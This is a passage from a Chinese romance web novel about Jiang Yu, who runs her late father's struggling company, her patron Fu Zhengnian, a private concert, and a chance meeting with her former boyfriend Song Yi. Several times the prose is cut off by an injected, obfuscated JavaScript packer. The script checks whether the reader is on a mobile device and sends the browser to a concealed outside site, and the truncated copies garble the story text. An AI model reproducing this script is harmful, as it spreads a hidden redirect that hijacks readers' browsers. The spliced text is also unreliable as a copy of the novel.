见到她们来了,老太太忙出声,“怎么来了不进来,你钱叔他们都过来了,快进来啊。” 这些人江余不陌生,都是江父之前的故交。 宫白卉抬眸看向江余,她虽脸色未变,但眸中的情绪明显是有些压不住了。 宫白卉扯了下她的衣袖,轻唤了声:“余余。” 江余回过神来,走进去把包放在柜子上,问:“你们怎么过来了。” “我们听说老太太生病了,就一直想过来瞧瞧,到现在才抽出时间。” 其中一人回答道。 “是啊,这段时间忙,也好久没有看到余余了,最近还好吗?” 江余扯了扯唇角,“挺好的。” “那就好,余余现在厉害啊,一个人撑起公司,前段时间还拿下了几个大项目,相信用不了多久,利丰在你手上的价值肯定会超过你爸的。” 这些人语气熟稔,像从前一般跟江余说话,但江余却没有想跟他们交谈的欲望,淡淡说了句“过奖了”就移开视线。 老太太察觉到这气氛有些不对,眼神在他们脸上扫视了一圈,最后看向江余,说:“余余,你去洗点水果过来。” 江余没有动,她很清楚这些人来找奶奶的目的,因此她不想让奶奶为难。 “去吧,”老太太说着又看向宫白卉,“白卉,你陪余余一块儿去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084577|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫白卉也没有应声,反倒是不知所措地看着江余。 江余轻叹一口气,拿过一旁的果篮就站起身往外走。 宫白卉忙跟在她后头出去。 “余余,你……”宫白卉一脸担忧地看着她。 江余故作轻松的笑笑,“没事。” “余余,你是不是也在怪我。”宫白卉小声问着,直愣愣地看着江余。 江余打开水龙头,浅浅一笑,“没有,你别想太多,我之所以厌恶钱枫,那是因为他在我爸爸死后马上就把手中的股份全都低价售出,让利丰的处境越发艰难,如果不是宁叔发现的及时,再以两倍的价格回购,利丰哪里撑得到现在啊。” 钱枫做这件事的时候,压根就没有想过和这群之前的老友知会一声,只想着让自己少亏损一些。 现在他看利丰发展好了,又想回来,前几日江余就曾拒绝过他。现如今钱枫竟然把注意打到了老太太身上,如果不是碍于奶奶,江余一点面子都不会给他。 至于其他人,无非也就是些拒绝她之前的求助或者从利丰撤资的合作方,她确实也没怎么放在心上。 见宫白卉低着头不说话,江余颇有些无奈,她用碰了冰水的手拍了下宫白卉的脸,“别想太多,我就算怨也是怨你爸,就你那点生活费,全给我也没什么用。” 宫白卉被她的手冰的往后退了一步,忽地一笑,说:“那我从现在多存点钱,争取以后可以帮上你。” “别了吧,”江余拿上洗好的水果,笑道,“你盼我点好,我可不想再经历那种走投无路的情形了。” “好好好,我们余余以后一定会越来越好的。” “你要是对你爸嘴也那么甜,他以后绝对不会经常训你。” “别了吧,那老头整天就喜欢拿乔。” 人都说女儿是爸爸上辈子的小情人,宫白卉却觉得他们是上辈子的敌人。 两人说说笑笑往回走,她们走到病房门口时,里面安静的出奇,江余的手刚放到门把手上,就听到老太太的声音在里面响起,“我不知道你们和余余之间发生了什么,但是我自己的孙女我很了解,她从小就心宽,极少会与别人结怨,她如果真的对你们一点情面都不留,那也一定是你们做了让她接受不了的事,所以你们也不用在我这里浪费时间了,请回吧。” 老太太的声音还是有些有气无力,但听起来却十分坚定。 老太太直接赶人,钱枫见没什么希望,也没有多待,几人同老太太打了个招呼,就纷纷起身准备走。 看到门口的江余时,也只是浅浅点了下头。 江余心中五味杂陈,她推门进去,把果篮放在桌上,一句话都没说。 她不想让这些事来烦奶奶的。 老太太见她沉着一张脸,笑了下,说:“下次你不想见到他们直接跟我说就是了,你是我孙女,我还能帮着外人不成?” 江余眼眶有些发红,“奶奶。” 老太太嗔怪地睨她一眼,对宫白卉说,“这什么都往心里藏的性子,怕是改不了了。” “谁说不是呢”,宫白卉笑着点点头,她张开双臂,径直朝着老太太扑过去,一把抱住她,“奶奶,我都好久没有看见您了,想死您了。” 说着宫白卉又回头瞪了一眼江余,“都怪余余,您住院了都不跟我说一声,我现在才知道。” 老太太看到宫白卉也是极高兴的,当下也就顺着她的话往下说,“行,都怪她,我到时候帮你骂她。” 宫白卉靠在老太太肩头,甜甜地说好。 宫白卉话比较多,逗得老太太笑的嘴都合不拢,一直让她有空多来看看她,她在里面待着无聊。 病房里霎时充满了欢声笑语,如果不是刚才那群人带来的补品还放在一旁,都要让人怀疑他们刚才是否出现过。 江余在一旁剥桔子,看到她们在一旁上演一副祖孙情深场面时酸溜溜的开口:“你们要不要收敛一下,我这个亲孙女还在这呢。” 老太太说她:“你还说呢,这忙起来好几个星期都不来看我一眼,也不怕哪天……” 老太太话说到这就停了,江余的心却猛地跳动了一下。 病房中的气氛也静滞了一瞬。 付政年的电话也就是这个时候打进来的。 11. 11 一小时后,江余和宫白卉并肩走出医院,宫白卉一边搓手一边说,“今年的冬天真冷。” 因为温度太低,说话间便浮起一片雾气。 江余笑了声,抬手为宫白卉拦了一辆车,“你哪年不这样说。” 宫白卉切了声,没有立即上车,反倒是四处看了看,问:“他还没到吗?” “应该快了吧。” 宫白卉轻蹙了下眉,“那你怎么现在就下来了,不冷吗?” “还好吧,也没有多冷。” 总不好叫付政年等她。 宫白卉恨铁不成钢的看着她,无奈说:“那你自己注意点,玩玩也就算了,千万别陷进去,就连我男朋友都对他避之不谈,他那样的人,不是我们能够招惹的起的。” 男朋友? 江余想起上次见到的那个男人,她不动声色的抿了下唇,轻轻点头,“嗯,我知道,你快走吧,别让师傅等久了。” “行吧,等我空了再来找你。”说完宫白卉就转身上了车。 江余隔着车窗对她摆了摆手。 一开始打电话的时候,付政年说是一个小时左右到,但来的路上难免会遇到堵车,江余也没有催,刚好附近有个公交车站,她走过去找了个位置坐着等他。 今天下午钱枫的到来多少还是有些影响到江余的心情。 老太太虽然没有问,但应该也猜到公司出了问题,她身体越来越差,江余不想让她再为其他事烦忧。 江余每次过来看她,两人对那些不好的事都避而不谈,但其实她们心里很清楚,都是自欺欺人罢了。 滴~ 一道鸣笛声响起,江余赫然抬头,入目便是一辆停在路边的黑色汽车。 车窗大开,付政年坐在车里朝她看来。 江余忙拿上包上车。 “刚刚发什么愣呢?” 她刚一坐下,付政年就问。 江余笑着回答,“想事情有些入迷,就没看到你的车。” 付政年伸手揉了下她有些发红的脸,“不是跟你说我到了你再下来吗,还真当自己是铁人,那么抗冻?” 他的手很暖和,江余有些贪恋这个温度,也任由他摧残自己的脸,“住院部过来有些距离,医院门口不能长时间停车。” 付政年盯着她看了一会儿,手往后移,捏了捏她的耳垂,“心情不好?” 江余没说话,只是疑惑地看向他。 付政年笑了下,跟师傅报了个位置,说去那里。 他说的这个位置是在郊区,江余就多问了一句,“去那里做什么?” “不是心情不好吗,带你去消遣。” “……” 江余扯出一个略显虚假的笑,说:“那就多谢付总了。” 付政年也跟着笑,“真想谢我你倒是拿出点诚意来。” 江余偏头思索了一下,笑道:“那我请你吃饭?” 付政年轻嗤,“我差你这顿饭?” 说完他又掐了她一下,收回手发了个消息。 * 车子在一处私人庄园门口停下,黄师傅把车停好后下来拉开后车门,“先生,到了。” 付政年嗯了声,将外套搭在臂弯上,回头对江余说:“走吧。” 江余点点头,抓起一旁的包,跟在他后面。 下车后,看到门口停着的一排排豪车,她笑道:“你们这地方挑的挺偏啊。” 付政年哼笑一声,牵起她的手往里走,还没走几步,就见两人急匆匆的朝他们走来,在他们面前站定,朝付政年伸出手,“付先生,江小姐,我叫周牧,刚才在里面有事情耽搁了,有失远迎,还望见谅。” 付政年伸出手同他握了一下,道:“周总客气了。” “两位快里面请,知道你们要来,我特地把楼上视野最好的位置给你们空出来了,音乐会时间是提前定下的,不好更改,但也才刚刚开始,待会儿二位要是想听谁的表演,我可以请他单独为你们演奏。” 周牧一边引着他们往里走,一边为他们解释着。 什么音乐会? 江余听得一头雾水,她带着满腹疑问跟着他们往里面走。 这座庄园里面修建了一个小型场馆,因为隔音效果很好,走到门口江余才听到里面传出来的声音,直到走进场馆,她心中的猜测才得到证实。 场馆的面积不大,但是布局却十分奢华,中间有一个圆台,四周摆放着稀疏的卡座,楼上的位置类似于包间,围栏前面摆放着桌椅,两侧用屏风隔开,留出正对圆台的视野, 台上一位国外的音乐家正弹奏着李斯特的诺玛的回忆,这位音乐家江余并不陌生,之前她参加比赛的时候,这位音乐家曾担任评委。 她环顾一圈,前排坐着好些音乐领域的前辈。 这是资本组织的一场私人演奏会,聚集了国内外知名的音乐人,专门为这些有身份地位的人举办的。 其盛况难得一见。 江余压下心中的悸动,诧然地看着付政年,“你怎么会想着带我来这?” 付政年捏了捏她的手心,笑说:“说好了带你去消遣,当然要来你喜欢的地方。” “所以你才一下飞机就赶过来找我?” 付政年勾了勾唇,“不然你以为,小白眼狼。” 江余呼吸一窒,耳边还回旋着钢琴曲的节奏,她盯着两人紧握在一起的手,鼻尖泛起一阵酸涩。 迎面而来的寒风,吹乱了她心跳的节奏。 周牧把他们带到楼上,又让人送来小吃和酒水,对江余道:“江小姐要是想见谁,就跟我说一声,我去给您把人叫上来。” 江余点头道了声谢,说不用了,而后端起特调的酒抿了一口,右手托腮往下面看去。 这个位置确实好,可以将整个场馆收入眼中。 周牧笑着应下,“那先不打扰二位了,我就在隔壁,你们有什么需要直接叫我就是。” 付政年嗯了声,“你忙着,不用管我们。” 周牧犹豫了一下,又说了一句,“那合同的事,还请付先生多多考虑。” 付政年看他一眼,道:“明天会有人给你送过去。” 江余骤然回头看付政年。 周牧面色一喜,“那就先谢过付先生了。” 周牧离开后,江余还在盯着付政年看,他笑问:“怎么这副表情。” “你们刚刚说的合同,就是今晚进这里的代价吗?” 江余心里五味杂陈,一时间难以形容其中滋味。 见她这模样,付政年失笑出声,“不是什么重要的合同,本来也是准备拿来做人情的。” 说完他拿过手中的衣服盖在江余腿上,她今天穿的有些单薄,驼色大衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他是今天回来的时候突然又想起这事,所以一下飞机就去找了江余。 如今瞧她这样,也觉得这趟没有白来。 这一场演奏会江余倒是听的兴致盎然,付政年却是一直电话不断,中途出去过好几次。 江余知道他一贯很忙,也没多问。 两个小时后,演奏会已经进入尾声,主持人正故作神秘的介绍着最后一位上台的人,因为她迟迟不说那人的名字,反倒引起了不少人的好奇心和期待。 就连付政年也将注意力放到了台上,随口问江余,“你觉得这压轴的会是谁?” 江余摇头说猜不到,随后端起酒杯送到唇边,眼睛紧紧地盯着舞台。 伴随着升降台缓缓上升,那人的面孔渐渐出现在众人面前。 主持人这才念出他的名字。 “宋逸。” 宋逸头发梳成三七分,穿着白色西装,打了条红色条纹的领带。 这是一张相对陌生的脸,至少在场的人有绝大部分不认识,甚至连他的名字都未曾听说过。 但江余却在看清他脸时手一顿,一滴红色酒液顺着下颌滴落在付政年的衣服上。 12. 12 江余忙放下酒杯,嘴里一直说着对不起,手上动作也没停下,从一旁扯了两张纸巾擦拭着付政年的衣服。 付政年将这一幕尽然收入眼中,他从桌上抽了一张纸巾凑过去把江余脸上的酒渍拭去,随口问:“认识?” 江余睫毛轻轻一颤,点头嗯了声。 付政年没有再问,他握住江余还在试图挽救他外套的手,“别擦了。” 江余歉疚的看向他,“我从新给你买一件吧。” 听到这话,付政年想起了他们第一次见面的情形,打趣道:“江小姐这是准备像之前一样用钱砸我?” “我......” 不待她说完,付政年就把人往怀里带了带,手掌顺着她的腰际往上游离,贴着她耳边低声说:“你要真想补偿我,不如换个方式。” 江余猛地睁眼,伸手推了他一下,红着脸轻喝道:“付政年。” 他们位置两侧虽然是有屏风挡住的,但是面向舞台的这一边只有齐腰的护栏,下面的人只要抬头,就可将他们的举动尽收眼底。 付政年低笑几声,一脸坦荡,完全没有刚做完坏事的心虚,他重新扯过衣服给她盖好,“好好听吧,马上就结束了。” 江余瞪他一眼,目光再次落到台上,却始终有些心不在焉。 就连宋逸是何时下台的都不知道。 演奏会结束之后还有一场晚宴,这才是真正的重头戏,毕竟今天来这里的人,有几个是真正的为了来听音乐的。 周牧进来想带他们去晚宴,付政年偏头问江余,“想去吗?” 江余摇摇头,“不去了吧。” 跟着付政年出席这种场合,的确可以趁机积累更多的人脉,但今天来这的人,不是现在的她能够触碰得到的。 他们现在或许会看在付政年的面上给她几分面子,但只要走出这里,没有人会把她放在眼里,甚至还会觉得她不自量力。 就连周牧也是如此,别看他现在对她一脸的尊敬和讨好,但如果哪天她和付政年分开了,他也不会多给她一个眼神。 “好,”付政年拿起江余腿上的衣服搭在臂弯上,伸出另一只手去牵她,转而对周牧道:“周总,晚宴我们就不去了,先回了。” 周牧劝了几句,也没强求,只说:“那我送二位出去。” 付政年:“没事,你忙着,就一点路,不劳你再跑一趟,我们自己出去就行。” 周牧手头上确实有事,把他们送到楼下就折返了。 * “怎么样,心情好些了吗?”付政年把江余额前的碎发捋到耳后,温声问。 江余冲他笑笑,说:“付总都花那么大代价哄我高兴了,我当然很开心。” 付政年从开始就知道这姑娘一向心口不一,偏生还有叫人看不出她是真心或是假意本事。 没走几步,付政年的电话又响了,他拿出来看了一眼,松开牵着江余的手,说:“我接个电话。” 江余点点头,“好。” “在这等我。”说完这话付政年就拿着手机走远了些。 晚上的风吹起来确实刺骨,江余把手揣进口袋,无聊的数着地砖上的纹路。 “江余。” 身后突然传来的声音吓了江余一激灵,她回头看去,只见宋逸正站在不远处看着她。 这里离场馆已经有些距离了,江余没想到在这还能遇到他,因此一时间有些没反应过来。 宋逸走到她面前,轻笑道:“好久不见。” 江余看了一眼朝她伸出来的手,并没有伸手与他回握,平静地说了句:“好久不见。” 距离上次见面已经过去了快一年,确实是很久没见了。 “今天你一进来我就瞧见了,只是距离有些远,看不真切,也不敢确定。” 江余礼貌地勾勾唇。 她这态度就已经摆明了不想和他多说,宋逸自也是看出来的。 他眸中的神色顿时有些黯淡,“最近过得怎么样?” 宋逸的语气太过寻常,像极了之前他提前去教学楼等她下课,见到她时习惯性问上一句“今天想吃什么。” “挺好的。”江余照旧不咸不淡的应着。 “他……对你好吗?”犹豫再三,宋逸还是问了出口。 “当然。” 听到这话,宋逸明显松了口气,“那就好。” 江余见状没忍住笑出声,“你到底想说什么?” 两人之前分开不是很体面,宋逸在一次活动上被一位资本看中,为了资源,他选择抛弃江余,只在手机上单方面通知了她分手的事,对此连一句解释都没有,江余也是后来听人说了才知道缘由。 “余余,对不起,我不知道那时候你家里发生了那些事,我听说的时候你公司已经度过危机了。” “所以呢,”江余笑着反问,“如果那时候你知道了,就会选择放弃你的大好前程?” 宋逸张了张口,一个字都没说出来。 江余看见付政年已经打完电话,正在不远处等她,也没有再和宋逸过多纠缠,“恭喜你,成为冯老师的关门弟子,今天又在这地方露了脸,祝你以后星程闪烁,余生顺遂。” 江余说完就转身准备走。 宋逸再次叫住她。 “江余,我知道你现在很看不起我,但你呢,你又何尝不是做了我当初的选择。” 江余轻笑了声,没再看宋逸一眼,头也不回的朝付政年走去。 见她过来,付政年把手机揣兜里,说:“走吧,去吃点东西。” 除此之外,并没有多问一句。 “好。”,江余主动挽上他的胳膊往外走。 宋逸看着两人如此亲昵,久久没有收回目光。 * 出了庄园,他们本来准备去吃饭,奈何那附近没什么吃的,就只好让黄师傅把车开回市里。 这些天付政年在纽约连轴转,今天下飞机又直接来找了江余,现在确实困得不行,上车后就打算睡一会儿,让江余到了叫他。 一开始江余还在刷微博,后面不知怎的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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付政年塞了块肉进她嘴里,手指在她额头上点了下,“你这姑娘怎么那么难忽悠呢。” “当然是受付公子耳濡目染。”江余抬起头冲他笑着。 难得见到她如此鲜活的一面,付政年捏了下她的脸,顺手把她手中的烤串夺过来,笑说:“那就当你交的学费了。” “……” 江余心里暗骂了句不要脸,紧接着就扑过去跟他抢那根烤串。 付政年把手高高扬起,让她够不着,看着她气急败坏的样子,莫名心情大好。 他自己都想不到,这把年纪了,竟也还会有这种恶趣味横生的时候。 这一晚,北京的温度再度降至低点,那个狭小的烧烤店因为有门帘的遮挡,倒也不觉得冷。 13. 13 酒店里,付政年沉默的站在镜子前看着他脖子上的抓痕。 而那个罪魁祸首,则是低着头站在一旁,时不时小心翼翼的抬头看他一眼。 付政年一把将她捞过去抱在怀里,开始兴师问罪,“江小姐,现在你说该怎么办吧。” 刚才跟付政年抢烤串的时候,江余被桌脚绊了一下,整个人往前扑去,付政年的脖子就是这时候被她的指甲划破的。 江余看了一眼自己的杰作,心虚的低下头,小声说:“还不是你非要抢我烤串的。” “嗯?所以还是我的错了?” 难道不是吗? “我不是这个意思。” “那你是什么意思?” 江余是真的不知道该说什么了,索性直接道歉,“对不起。” “然后呢?”付政年不依不饶的问。 然后她也不知道,总不能让他挠回去吧。 江余越说越小声,“按时涂药,不会留疤的。” 她刚一说完,付政年就捏住她的下颌,俯身吻了上去。 仿佛是真的为了惩罚她一样,这一吻比之前的都要激烈,持久。 最后江余用手撑在洗手台上,才能勉强维持住身形。 过了许久,付政年才离开她的唇,但却并未拉开他们之间的距离。 江余整理了一下方才被他扯乱的衣服,“我去洗个澡。” 去演奏会一趟身上本就沾染了酒味,如今又出去吃了烧烤,要是不洗澡,今晚决计是睡不着的。 付政年没松开她,反倒是手上用力让她更贴近自己,低声问:“一起洗?” 江余撑在洗手台上的手突然收紧,可瞬间就又松开,笑着点头,“好啊。” 迟早要走到这一步的不是吗? 既如此,又何必扭捏呢。 付政年哑然失笑,松开放在她腰间的手,后退两步给她让出路来,“快去洗吧。” “……” 江余也摸不清付政年到底是几个意思,不过她也不想去深思,越过他就往外走,拿上她刚才在便利店买的内衣裤进了浴室。 她洗完出来付政年才进去,等她把头发吹干,付政年也出来了。 没有睡衣,他们穿的都是酒店的浴袍,收拾好后才又重新躺下。 付政年伸手把江余揽进怀里,“奶奶好点了吗?” 他的嗓音低沉,还带着些倦意。 江余轻声应着,“好多了,再过两天就能出院了。” “那就好,我不在的这段时间有没有遇到什么麻烦?” “没呢,你不是跟我说过吗,有事就去找付岱。” 付政年笑了声,“你难不成真会去找他?” “为什么不呢,我没那么清高。” 不然现在也不会跟你躺在一块儿了。 “你是在骂我,还是骂自己?” “付公子想太多了,我只是在陈诉一个事实。” “你这睁眼说瞎话的本事可谓是炉火纯青,我都自愧不如。” “您谦虚了。” 此刻江余正完完全全躺在付政年怀中,因此他身上的那股味道就十分清晰。 应是冗杂了不同类型的香才形成的独特味道,清淡幽雅,像极了曼陀罗。 初时好闻,闻多了,又会使人中毒。 这种香水留香持久,不然江余也不会在他洗完澡的情况下还能闻到。 “你用的是什么牌子的香水?”江余没忍住好奇问。 “请调香师特调的,你要是喜欢,下次我给你带一瓶回来。” “好啊,”江余倒也没客气,“不过我不要你这款,换个其他的吧。” “怎么?” “你这个味道太淡了,我喜欢浓一点的。” “行。” 付政年笑着应下,将她搂的更紧了些,语气也带了几分纵容。 …… 两人后面又断断续续的聊了好一会儿,就连什么时候睡着的都不知道。 这晚江余做了个很长的梦,梦里她被困在一个森林里,周围是漫天大雾,她拼命朝着一个方向奔跑,直到精疲力竭时,迷雾才终散尽。 而付政年,就站在大雾尽头朝她招手。 这是一个多么可怕的噩梦啊,江余直接就被吓醒了。 付政年这时正好看从洗手间出来,见她醒了,直接朝她过来在床边坐下,用刚沾了凉水的手去摸她的脸,“醒了?” 江余本来对那个梦还心有余悸,被他这一冰倒是缓过神来了,她把付政年的手拍开,扯过被子把自己捂得严严实实的,只漏出一双眼睛在外面。 付政年不知道是什么起的,现在已经洗漱完穿戴整齐了。 “你待会儿有事吗?” “嗯,十点有个会。” 江余拿过手机看了眼,现在才七点零八分,“那你怎么起那么早?” 付政年意味深长地看她一眼,扯开被子将她抱在怀里,笑说:“有你在,我怎么睡得着?” 江余笑着推了他一把,主动伸手搂住他的脖子,笑看着他,“我看你昨晚睡得挺香的啊。” 付政年看着她若隐若现的肩颈,眼中逐渐浮现了几分玩味,“你这是在怪我昨天冷落你?” “......” “好,我的错,给你道个歉。” 说完,他便低头含住江余的唇,另一只手摸索到她腰间将浴袍的带子解开,探了进去。 眼瞅着事情即将要往不可控制的方向发展,江余却在此时出声:“不行,我今早约见了一个投资商” 付政年并没有松开她,唇瓣顺着她的颈部往下移,“我给你投。” 江余用了几分力道将他推开,喘着气道:“付总的投资,我可接不住。” 付政年被她气笑了,盯着她看了好几秒,最终还是放开了她,下巴朝着沙发那边抬了抬,说:“衣服在那。” 江余眼睛快速眨了几下,把浴袍拢好下床,从袋子里拿上衣服进了洗手间。 等她洗漱完换好衣服出来的时候,付政年已经坐在沙发上摆弄着刚刚送来的早餐了。 短短的时间内,他就从情欲中抽身而出,恢复了一贯的漫不经心。 “过来吃早餐,等会儿让司机送你。” “好。” 酒店的位置离公司有些距离,江余怕路上堵车耽搁时间,随便吃了点就走了。 坐上返回自己世界的车,江余却又不禁想起昨晚发生的事。 这是她第一次没有从付政年身上感受到两人之间那遥不可及的距离。 无论过去多久,这一晚,永远记忆犹新。 * 江余以为至少接下来的三天付政年都不会再找她,可谁知第二天就接到了他的电话。 付政年没有跟她兜圈子,一接通就直接问:“会谱曲吗?” “会是会,但……” 付政年都没给她把话说完的机会,直接道:“会就行,我这边有一首词,你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“一个长辈,之前跟我爷爷一个院儿的,他老婆以前是歌星,下周过生日,他就让我找人给她写首歌。” 江余在心里估算了一下付政年爷爷的年纪,由衷感叹了一句,“他们感情真好。” 付政年正翘着腿看江余电脑中的文件,听到这话偏头瞅她一眼,说了句打破她幻想的话,“他老婆今年33岁。” “……” 付政年说这位前辈原本的妻子十年前才去世,结果三个月不到,他就和现在的老婆结婚了,半年后就老来得子。 江余讪笑一声,方才升起的羡慕之意瞬间消散。 这些虚幻的美好之下,藏着的尽是不可深究的肮脏和丑陋。 这首经过多人润色修改,呈现出来对“爱情”憧憬的词,也掩盖不住内里的糜烂和腐败。 付政年注意到她神情的变化,笑问:“让你对爱情产生怀疑了?” 江余摇摇头,“这倒没有,我一直相信爱情是存在的,在两人心灵达到共鸣时,就算只有一刻,那也是爱情。” 我不确定这份共鸣会持续多久,但当它出现时,我就会用尽全力抓住它,直至消亡。 她有去爱的勇气,也能接受最坏的结果。 付政年敲击电脑的手一顿,转头看着她柔和的侧脸,竟有了一丝害怕。 14. 14 下午付政年带着江余去了一个工作室,他们把之前的几个版本全都找出来给江余看。 江余看完之后一个头两个大。 这里面有两首曲在她看来已是极好的了,她根本就不可能达到那种水平,付政年跟她说没事,让她尽力就好。 时间比较紧凑,江余思索片刻,拿起手机发了个消息,得到回复后她会心一笑,转头对付政年说:“我可以找个外援吗?” 付政年笑了下,对此事并没有什么异议,只说:“随你。” “好。” * 一小时后,江余起身去楼下接人,她等了一会儿,那道熟悉的人影才出现。 她对着来人招了下手,“欣瑜,这儿。” 罗欣瑜是江余大学同学,两人关系一直不错,正好她这几天休息,江余就给她发消息请她帮个忙。 罗欣瑜今天穿了件白色羽绒服,扎了个丸子头,脸上挂着笑,手里捧着两个烤红薯。 走到江余面前,罗欣瑜就把手中的烤红薯递给她,“我刚买的。” 罗欣瑜是土生土长的南方人,有着老人常说的那种乖乖女的长相,性格也是极温柔的,她笑起来时,总让人感觉十分亲切。 江余轻轻挑眉,“那我就不客气了。” “快吃吧。” 剧院的工作强度有多大江余是知道的,但是罗欣瑜看起来不但没有廋反倒还圆润了一些,江余轻笑道:“之前你跟我说你在剧院时,我还担心你的身体吃不消,现在看来是我多虑了。” 罗欣瑜伸手捏了一把自己脸上的肉,“那可不,你又不是不知道我,这叫心宽体胖。” 江余看着她,眼中不自觉涌现了几分羡慕。 罗欣瑜是个十分乐观的人,无论面对再困难的事,她永远都不会放弃,或是自怨自艾。 这种乐观的心态,是她一辈子都无法拥有的。 罗欣瑜笑眯眯的看着江余,“你从接手公司之后就一直没有再碰过这些东西了,到底是谁请你帮的忙,你是不是背着我谈恋爱了?” 果然,八卦和感情是女生之间永远绕不开的话题。 就连罗欣瑜都不能免俗。 “债主。”江余斟酌了一下用词才说。 恋爱这个词,根本不适用于她和付政年之间。 “你还欠的有债吗,欠多少,我这里还有一些,你先拿去用,不够的话我再想想办法。” 罗欣瑜作势就要去包里拿银行卡,丝毫没有怀疑江余的话。 罗欣瑜家里并非大富大贵,但她爸妈感情很好,在这种有爱的环境下长大,罗欣瑜对这个世界都心存善意,就算被骗了好几次,但在别人遇到困难时,还是会伸出援助之手。 之前利丰遭遇危机的时候,罗欣瑜把自己所有的存款全都转给了江余。 虽然钱不多,但江余当时属实被她感动到了。 江余赶忙拦下她,笑说:“逗你玩的,一个朋友。” 可这个谎言在罗欣瑜去到工作室后就被她看出来了。 付政年公司临时有事,他得回去一趟,走之前他拿着江余的电脑,对她说:“我回去处理点事,晚上来接你。” 罗欣瑜当时深深的看了一眼江余,什么都没有说,但江余明显感受到她一下午的情绪有些低沉。 一群人讨论修改到傍晚,离开时罗欣瑜终是没忍住叫住她,“余余,那位付先生,真的和你只是朋友吗?” * 两人在楼下找了个咖啡厅坐着,江余垂着头不知道该怎么开口。 面对其他人,她可以丝毫不避讳地说起她和付政年的关系,但是面对罗欣瑜,她总有一种羞耻和惭愧的感觉。 江余深吸一口气,结果一抬头就看到罗欣瑜通红的眼眶。 江余叹了口气,说:“欣瑜,你别这样,我知道我在做什么,而且现在也挺好的。” 罗欣瑜更难受了,眼泪啪啪往下掉。 但她却不知道该说什么。 她知道江余如果有其他选择一定不会走上这条路,她也知道江余为何今天要叫她来一起参与谱曲。 今天见到的这些人,在圈内都有一定的知名权,江余这是在借付政年的势,为她铺路。 江余扯了两张纸给罗欣瑜把眼泪擦干,轻轻勾唇,“而且付政年长得还挺好看的,出手又大方,对我也不错,我也没吃什么亏啊。” 罗欣瑜吸了吸鼻子,抬眼盯着她看,“那你爱他吗?” 江余笑了笑,对着朝她们这里走来服务生轻抬下巴,“咖啡来了。” 罗欣瑜也跟着笑了下,两滴眼泪从眼角流下,她伸手抹去,拿起勺子往咖啡里面加了很多的糖。 江余打趣道:“还和以前一样呢。” 罗欣瑜点点头。 两人相视一笑,同时默契出声:“这叫苦中作乐。” 罗欣瑜第一次喝咖啡是跟江余去的,她尝了一口后苦的脸都变形了,后来加了好几勺糖才勉强喝完。 从那之后她竟然开始喜欢上这种喝法,江余说她何必多此一举,直接喝奶茶不是更好。 罗欣瑜当时就是这样跟她说的,从这里面,她找到了苦中作乐趣味。 * 罗欣瑜离开之后,江余又在楼下等了一会儿付政年才到。 江余看到是他自己开车就上了副驾驶,“你怎么自己过来了,黄师傅呢?” “家里面有点事,我让他回去了。” “付总真是个良心老板。” 她这马屁拍的太假,付政年却也没拆穿她,只笑了笑,“嘴那么甜,想说什么?” “我那些工作,你帮我处理完了吗?” 提到这事付政年就有些头疼,他眼神复杂的看着江余,问:“平时在公司是谁帮的你?” “宁叔啊,怎么了?”江余不解地问。 “你回去问问他愿不愿意跳槽来我这,我出五倍的薪资。” 他看了江余写的那些方案,是真觉得利丰能在她手里坚持那么久,在后面帮她的那个人,绝对是个人物。 “……”江余幽幽地看他一眼,收回目光,生硬道:“走吧。” 付政年伸手去捏她的脸,被江余躲开了,他只能揉了下她的头,笑道:“不逗你了,你之前一点都没有接触过管理吗?” 江余点点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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付政年刮了一下她的鼻子,“请我当私教可是很贵的,江小姐按市场价付吧。” “哦,”江余从他怀中钻出来,“那还是算了吧,我也确实请不起。” 付政年又把她捞回来,手在她腰间的软肉上捏了下,“不过是你的话,我可以打个折。” “多少折?” “九折。” “……万恶的资本家。” 付政年失笑:“别连自己也骂进去,你现在多多少少也算个资本家吧。” 江余懒得跟他贫嘴,“我先回去了,这几天一直在你这,都没有去看奶奶,她马上就出院了,又得念叨我。” “现在互联网的发展趋势正猛,你可以试着将其引用进来,与现有模式结合。明天有个晚宴,我叫付岱带你过去,里面有不少企业涉及这个领域,你现在最重要的,就是找几个长期且稳定的合作方,先把基地打好,再做变革。” 江余笑吟吟地看着他,凑上去亲了一下他的脸,“多谢付总。” 15. 15 